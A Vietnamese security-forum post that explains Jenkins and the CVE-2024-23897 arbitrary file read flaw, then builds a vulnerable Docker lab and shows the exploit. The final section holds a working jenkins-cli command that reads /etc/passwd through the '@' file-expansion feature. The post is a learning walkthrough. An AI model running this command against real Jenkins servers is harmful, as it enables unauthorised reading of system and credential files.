Triển khai PoC Validating Jenkins cho lỗ hổng CVE-2024-23897

quachhuy1703

New Member
09/01/2023
0
4 bài viết
Triển khai PoC Validating Jenkins cho lỗ hổng CVE-2024-23897

GIỚI THIỆU VỀ JENKINS:​

  • Jenkins là một công cụ hỗ trợ quá trình CI/CD (Continuous Integration/Continuous Delivery), giúp tự động hóa quy trình phát triển và triển khai ứng dụng phần mềm. Nó được xây dựng để tối ưu hóa quy trình làm việc của các nhóm phần mềm thông qua việc tự động hóa các bước kiểm thử, xây dựng và triển khai phần mềm.
1706859305591.png


download.png

ĐẶC ĐIỂM QUAN TRỌNG CỦA JENKINS:​

Tự động hóa CI/CD:​

  • Jenkins cung cấp một môi trường tự động hóa cho quy trình CI/CD, từ việc kiểm thử mã nguồn, xây dựng ứng dụng, điến việc triển khai tự động.
Picture1.png

Khả năng mở rộng:​

  • Jenkins hỗ trợ hàng nghìn plugin, giúp mở rộng chức năng và tích hợp với nhiều công cụ và dịch vụ khác nhau, từ SCM (Source Code Management) đến các công cụ kiểm thử và triển khai..​
Picture3.png

Giao diện người dùng thân thiện:​

  • Jenkins có một giao diện web đơn giản và dễ sử dụng, giúp người quản trị, nhà phát triển và quản lý dự án dễ dàng theo dõi và quản lý quy trình CI/CD.
Picture4.jpg

Quản lý mã nguồn mở:​

  • Jenkins là một dự án mã nguồn mở, điều này có nghĩa là bạn có thể tùy chỉnh mã nguồn hoặc sử dụng các plugin có sẵn để đáp ứng nhu cầu cụ thể của dự án.

Hổ trợ nhiều loại dữ án:​

  • Jenkins không chỉ hỗ trợ các dự án Java, mà còn hỗ trợ nhiều ngôn ngữ lập trình và công nghệ khác nhau.

Quản lý công việc:​

  • Jenkins có khả năng quản lý hàng loạt công việc (jobs) và pipeline, giúp tổ chức và theo dõi các bước trong quy trình CI/CD.

MÔ TẢ LỖI CVE-2024-23897​

  • Jenkins có một giao diện dòng lệnh (CLI) tích hợp để truy cập Jenkins từ môi trường script hoặc shell.
  • Jenkins sử dụng thư viện args4j để phân tích các đối số và tùy chọn lệnh trên điều khiển Jenkins khi xử lý các lệnh CLI. Bộ phân tích lệnh này có một tính năng thay thế ký tự @ tiếp theo bởi một đường dẫn tệp trong một đối số bằng nội dung của tệp (expandAtFiles). Tính năng này được kích hoạt theo mặc định và Jenkins 2.441 và phiên bản trước đó, LTS 2.426.2 và phiên bản trước đó không tắt nó.
Picture5.png
  • Điều này cho phép những kẻ tấn công đọc các tệp tùy ý trên hệ thống tệp của điều khiển Jenkins bằng cách sử dụng bộ mã hóa ký tự mặc định của quy trình điều khiển Jenkins.
    • Những kẻ tấn công có quyền Overall/Read có thể đọc toàn bộ các tệp.
    • Những kẻ tấn công không có quyền Overall/Read chỉ có thể đọc một số dòng đầu của các tệp. Số dòng có thể đọc phụ thuộc vào các lệnh CLI có sẵn. Đến thời điểm công bố của thông báo này, đội an ninh Jenkins đã tìm thấy cách đọc ba dòng đầu của các tệp trong các phiên bản gần đây của Jenkins mà không cần cài đặt bất kỳ plugin nào, và chưa xác định được bất kỳ plugin nào có thể tăng số dòng này.

TRIỂN KHAI HỆ THỐNG DEMO POC​

Đề xuất mô hình triển khai​

  • Dưới đây là mô hình triển khai sơ bộ giải pháp (Mẫu)
1706859342711.png
  • Sơ đồ trên mô phỏng lại quá trình thực hiện của một attacker tấn công từ bên ngoài vào bên trong nội bộ Jenkins. Trên con server Jenkins buid bản lỗ hổng. Hacker sẽ tấn công từ bên ngoài vào bên trong thông qua firewall.

Triển khai Docker thông qua script:​

  • Dưới đây là code mẫu của việc cài đặt docker. (Các bạn có thể tham khảo tại đây)
Picture7.png
  • Sau đó các bạn phân quyền file vừa tạo bằng câu lệnh bên dưới:
ubuntu@srv1:~$ chmod +x install-docker.sh


Picture8.png

Viết file docker-compose.yml:​

Bước 1: Tạo file docker-compose.yml
version: '2.2'
services:
jenkins:
image: vulhub/jenkins:2.441
ports:
- "50000:50000"
- "8080:8080"
- "5005:5005"
init: true
environment:
- DEBUG=1

Bước 2: Chạy file docker compose bằng câu lệnh như bên dưới.
ubuntu@srv1:~/pentest-lab$ sudo docker compose up -d

Picture9.png

Bước 3: Kiểm tra docker đã build thàng công chưa?
ubuntu@srv1:~/pentest-lab$ sudo docker ps -a

Picture10.png

Bước 4: Build thành công các bạn sẽ vào đường dẫn link như sau
http://192.168.65.129:8080/login?from=/

Picture11.png

Khai thác lỗ hổng CVE-2024-23897​

Bước 1: Khai thác lỗ hổng CVE-2024-23897

PS C:\Users\huy.quach\Downloads> java -jar jenkins-cli.jar -s 'http://192.168.65.129:8080/' connect-node "@/etc/passwd"

Picture12.png

Tham khảo: Mô tả lỗi CVE-2024-23897 https://www.jenkins.io/security/advisory/2024-01-24/.
 
Chỉnh sửa lần cuối bởi người điều hành:
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Bên trên